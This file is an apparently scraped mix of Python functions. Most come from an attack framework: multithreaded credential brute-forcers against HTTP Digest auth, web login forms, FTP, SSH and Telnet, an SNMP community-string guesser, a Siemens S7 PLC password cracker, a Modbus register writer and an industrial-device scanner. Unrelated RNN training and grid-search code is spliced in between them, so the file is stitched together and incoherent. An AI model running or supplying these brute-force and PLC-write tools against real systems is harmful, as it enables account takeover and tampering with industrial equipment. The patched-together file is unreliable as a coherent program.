def attack(self): url = "{}:{}{}".format(self.target, self.port, self.path) response = http_request(method="GET", url=url) if response is None: return if response.status_code != 401: print_status("Target is not protected by Digest Auth") return if self.usernames.startswith('file://'): usernames = open(self.usernames[7:], 'r') else: usernames = [self.usernames] if self.passwords.startswith('file://'): passwords = open(self.passwords[7:], 'r') else: passwords = [self.passwords] collection = itertools.product(usernames, passwords) with Threads.ThreadPoolExecutor(self.threads) as executor: for record in collection: executor.submit(self.target_function, url, record) if self.credentials: print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") printTable(headers, *self.credentials) else: print_error("Credentials not found")
def attack(self): url = "{}:{}{}".format(self.target, self.port, self.path) response = http_request("GET", url) if response is None: return if response.status_code != 401: print_status("Target is not protected by Digest Auth") return if self.defaults.startswith('file://'): defaults = open(self.defaults[7:], 'r') else: defaults = [self.defaults] with Threads.ThreadPoolExecutor(self.threads) as executor: for record in defaults: username, password = record.split(':') executor.submit(self.target_function, url, username, password) if self.credentials: print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") printTable(headers, *self.credentials) else: print_error("Credentials not found") defaults.close()
def target_function(self, running, data): module_verbosity = boolify(self.verbose) name = threading.current_thread().name print_status(name, 'thread is starting...', verbose=module_verbosity) s7_client = S7Client() s7_client.connect() if not module_verbosity: s7_client.logger.setLevel(50) while running.is_set(): try: string = data.next().strip() if len(string) > 8: continue s7_client.check_privilege() if s7_client.protect_level == 1: print_error("Target didn't set password.") return s7_client.auth(string) if s7_client.authorized: if boolify(self.stop_on_success): running.clear() print_success("Target: {}:{} {}: Valid password string found - String: '{}'".format( self.target, self.port, name, string), verbose=module_verbosity) self.strings.append((self.target, self.port, string)) else: print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format( self.target, self.port, name, string), verbose=module_verbosity) except StopIteration: break print_status(name, 'thread is terminated.', verbose=module_verbosity)
def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name print_status(name, 'thread is starting...', verbose=module_verbosity) cmdGen = cmdgen.CommandGenerator() while running.is_set(): try: string = data.next().strip() errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( cmdgen.CommunityData(string, mpModel=self.version - 1), cmdgen.UdpTransportTarget((self.target, self.port)), '1.3.6.1.2.1.1.1.0', ) if errorIndication or errorStatus: print_error( "Target: {}:{} {}: Invalid community string - String: '{}'" .format(self.target, self.port, name, string), verbose=module_verbosity) else: if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {}: Valid community string found - String: '{}'" .format(self.target, self.port, name, string), verbose=module_verbosity) self.strings.append((self.target, self.port, string)) except StopIteration: break print_status(name, 'thread is terminated.', verbose=module_verbosity)
def plot_trials(self, data, start_time=0, stop_time=None): '''Plots example trials, complete with input pulses, correct outputs, and RNN-predicted outputs. Args: data: dict as returned by generate_flipflop_trials. start_time (optional): int specifying the first timestep to plot. Default: 0. stop_time (optional): int specifying the last timestep to plot. Default: n_time. Returns: None. ''' FIG_WIDTH = 6 # inches FIG_HEIGHT = 13 # inches fig = self._get_fig('example_trials', width=FIG_WIDTH, height=FIG_HEIGHT) hps = self.hps n_batch = self.hps.data_hps['n_batch'] n_time = self.hps.data_hps['n_time'] n_plot = np.min([hps.n_trials_plot, n_batch]) inputs = data['inputs'] output = data['output'] predictions = self.predict(data) pred_output = np.array( predictions['output'][0]) print_status("THE SHAPE {} ".format(pred_output.shape) ) #pred_output = pred_output.reshape( (pred_output.shape[0], pred_output.shape[1], 1 ) ) if stop_time is None: stop_time = n_time time_idx = range(start_time, stop_time) for trial_idx in range(n_plot): ax = plt.subplot(n_plot, 1, trial_idx+1) if n_plot == 1: plt.title('Example trial', fontweight='bold') else: plt.title('Example trial %d' % (trial_idx + 1), fontweight='bold') self._plot_single_trial( inputs[trial_idx, time_idx, :], output[trial_idx, time_idx, :], pred_output[trial_idx, time_idx, :]) # Only plot x-axis ticks and labels on the bottom subplot if trial_idx < (n_plot-1): plt.xticks([]) else: plt.xlabel('Timestep', fontweight='bold')
def write(self): try: print_status("Writing '" + self.value + "' in " + self.address + ".") subprocess.call( ['modbus', 'write', self.target, self.address, self.value], stderr=subprocess.STDOUT) print_success("Executed successfully.") except: print_error("Connection Error. Aborting.")
def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name print_status(name, 'process is starting...', verbose=module_verbosity) ftp = ftplib.FTP() while running.is_set(): try: line = data.next().split(":") user = line[0].strip() password = line[1].strip() except StopIteration: break else: retries = 0 while retries < 3: try: ftp.connect(self.target, port=int(self.port), timeout=10) break except: print_error( "{} Connection problem. Retrying...".format(name), verbose=module_verbosity) retries += 1 if retries > 2: print_error( "Too much connection problems. Quiting...", verbose=module_verbosity) return try: ftp.login(user, password) if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) self.credentials.append( (self.target, self.port, user, password)) except: print_error( "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) ftp.close() print_status(name, 'process is terminated.', verbose=module_verbosity)
def predict(self, batch_data, do_predict_full_LSTM_state=False): '''Runs the RNN given its inputs. Args: batch_data: dict containing the key 'inputs': [n_batch x n_time x n_bits] numpy array specifying the inputs to the RNN. do_predict_full_LSTM_state (optional): bool indicating, if the RNN is an LSTM, whether to return the concatenated hidden and cell states (True) or simply the hidden states (False). Default: False. Returns: predictions: dict containing the following key/value pairs: 'state': [n_batch x n_time x n_states] numpy array containing the activations of the RNN units in response to the inputs. Here, n_states is the dimensionality of the hidden state, which, depending on the RNN architecture and do_predict_full_LSTM_state, may or may not include LSTM cell states. 'output': [n_batch x n_time x n_bits] numpy array containing the readouts from the RNN. ''' if do_predict_full_LSTM_state: return self._predict_with_LSTM_cell_states(batch_data) else: #ops_to_eval = [ self.pred_output_bxtxd, self.hidden_bxtxd] ops_to_eval = [self.pred_output_bxtxd] feed_dict = {self.inputs_bxtxd: batch_data['inputs']} #ev_hidden_bxtxd, ev_pred_output_bxtxd = \ # self.session.run(ops_to_eval, feed_dict=feed_dict) ev_pred_output_bxtxd = \ self.session.run(ops_to_eval, feed_dict=feed_dict) # get hidden ops_to_eval = [self.hidden_bxtxd] feed_dict = {self.inputs_bxtxd: batch_data['inputs']} #ev_hidden_bxtxd, ev_pred_output_bxtxd = \ # self.session.run(ops_to_eval, feed_dict=feed_dict) ev_hidden_bxtxd = \ self.session.run(ops_to_eval, feed_dict=feed_dict) ev_hidden_bxtxd = ev_hidden_bxtxd[0] predictions = { 'state': ev_hidden_bxtxd, 'output': ev_pred_output_bxtxd } print_status("Hidden size: {} ".format( np.array(ev_pred_output_bxtxd) .shape ) ) return predictions
def attack(self): url = sanitize_url("{}:{}{}".format(self.target, self.port, self.get_form_path())) try: requests.get(url, verify=False) except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): print_error("Invalid URL format: %s" % url) return except requests.exceptions.ConnectionError: print_error("Connection error: %s" % url) return # authentication type if self.form == 'auto': form_data = self.detect_form() if form_data is None: print_error("Could not detect form") return (form_action, self.data) = form_data if form_action: self.path = form_action else: self.data = self.form print_status("Using following data: ", self.data) # invalid authentication self.invalid_auth() # running threads if self.usernames.startswith('file://'): usernames = open(self.usernames[7:], 'r') else: usernames = [self.usernames] if self.passwords.startswith('file://'): passwords = open(self.passwords[7:], 'r') else: passwords = [self.passwords] collection = LockedIterator(itertools.product(usernames, passwords)) self.run_threads(self.threads, self.target_function, collection) if len(self.credentials): print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") printTable(headers, *self.credentials) else: print_error("Credentials not found")
def test_model_for_methods(self, model): '''This tests the model for the methods that are called during''' method = "" try: print_status("Testing model for method attributes") method = 'train' assert hasattr(model, method) method = '__init__' assert hasattr(model, method) print_status("The model succeeded model method tests") except Exception: raise Exception( "The model that was passed in does not have the method: ", method)
def run(self, show_fixed_points=True): while self.has_next_param_set(): params = self.get_next_param_set() self.print_model_params(params) model = self.generate_model(params) del params print_status("Training model now") model.train() print_status("Done training model") if show_fixed_points: print_status("Showing Fixed Points") self.show_fixed_points(model) print_status("Closing Session") tf.reset_default_graph() print_status("Session closed") del model
def target_function(self, running, data): module_verbosity = Validators.boolify(self.verbosity) name = threading.current_thread().name url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) headers = {u'Content-Type': u'application/x-www-form-urlencoded'} print_status(name, 'process is starting...', verbose=module_verbosity) while running.is_set(): try: user, password = data.next() user = user.strip() password = password.strip() postdata = self.data.replace("{{USER}}", user).replace( "{{PASS}}", password) r = requests.post(url, headers=headers, data=postdata, verify=False) l = len(r.text) if l < self.invalid["min"] or l > self.invalid["max"]: if Validators.boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) self.credentials.append( (self.target, self.port, user, password)) else: print_error( name, "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) except StopIteration: break print_status(name, 'process is terminated.', verbose=module_verbosity)
def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print_status(name, 'process is starting...', verbose=module_verbosity) while running.is_set(): try: line = data.next().split(":") user = line[0].strip() password = line[1].strip() ssh.connect(self.target, int(self.port), timeout=5, username=user, password=password) except StopIteration: break except paramiko.ssh_exception.SSHException as err: ssh.close() print_error( "Target: {}:{} {}: {} Username: '******' Password: '******'". format(self.target, self.port, name, err, user, password), verbose=module_verbosity) else: if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {} Authentication Succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) self.credentials.append( (self.target, self.port, user, password)) print_status(name, 'process is terminated.', verbose=module_verbosity)
def get_target_info(self, host, port): product_name = '' device_type = '' vendor = '' revision = '' serial_number = '' slot = '' ip_address = host target = ModbusClient() target.connect(host, port) for slot_num in range(self.max_slot + 1): print_status("Tring to scan %s with Slot%s" % (host, slot_num)) try: product_name, device_type, vendor, revision, serial_number = \ target.get_target_info(port_segment=slot_num) print(product_name, device_type, vendor, revision, serial_number) slot = slot_num ip_address = host if serial_number != '': self.result.append([product_name, device_type, vendor, revision, serial_number, str(slot), ip_address]) except Exception as err: print_error(err) return False
def __init__(self, model_class, hyperparameters): '''The model is the callable that takes the hyper paramters ''' print_status( ' Generating grid search with model: \n\t{} \nand hyperparameters: \n\t{} ' .format(model_class, hyperparameters)) self.test_model_for_methods(model_class) self.hyperparameters = hyperparameters self.model_class = model_class self.param_set = {} # initialize the parameters for key in self.hyperparameters: if not isinstance(self.hyperparameters[key], list): raise Exception( "All hyper parameters must be lists and {} is not a list". format(key)) self.param_set[key] = { "params": self.hyperparameters[key], "index": 0, "length": len(self.hyperparameters[key]) } self.is_first = True self.update_index = [0] * len(self.param_set) self.is_done = False
def run_threads(threads, target, *args, **kwargs): workers = [] threads_running = threading.Event() threads_running.set() for worker_id in range(int(threads)): worker = threading.Thread( target=target, args=chain((threads_running, ), args), kwargs=kwargs, name='worker-{}'.format(worker_id), ) workers.append(worker) worker.start() start = time.time() try: while worker.isAlive(): worker.join(1) except KeyboardInterrupt: threads_running.clear() for worker in workers: worker.join() print_status('Elapsed time: ', time.time() - start, 'seconds')
from GridSearch import GridSearch from SineWave import SineWave from Utils import print_status alr_hps = [{'initial_rate': 0.0001, 'min_rate': 1e-5}] hyper_params = { 'rnn_type': ['vanilla'], 'n_hidden': [100, 1000], 'min_loss': [1e-4], 'log_dir': ['./logs_sine/'], 'data_hps': [{ 'n_batch': 500, 'n_time': 50, 'n_bits': 1, 'p_flip': 0.5 }], 'n_trials_plot': [6], 'alr_hps': alr_hps } grid_search = GridSearch(SineWave, hyper_params) grid_search.run() print_status("Done running grid search")
def print_model_params(self, params): print_status("Model Params:") for param in params: print "\t{}: {} ".format(param, params[param])
def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name print_status(name, 'process is starting...', verbose=module_verbosity) while running.is_set(): try: line = data.next().split(":") user = line[0].strip() password = line[1].strip() except StopIteration: break else: retries = 0 while retries < 3: try: tn = telnetlib.Telnet(self.target, self.port) tn.expect(["Login: "******"login: "******"\r\n") tn.expect(["Password: "******"password"], 5) tn.write(password + "\r\n") tn.write("\r\n") (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5) tn.close() if i != -1: print_error( "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) else: if any(map(lambda x: x in res, [ "#", "$", ">" ])) or len(res) > 500: # big banner e.g. mikrotik if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) self.credentials.append( (self.target, self.port, user, password)) tn.close() break except EOFError: print_error(name, "Connection problem. Retrying...", verbose=module_verbosity) retries += 1 if retries > 2: print_error( "Too much connection problems. Quiting...", verbose=module_verbosity) return continue print_status(name, 'process is terminated.', verbose=module_verbosity)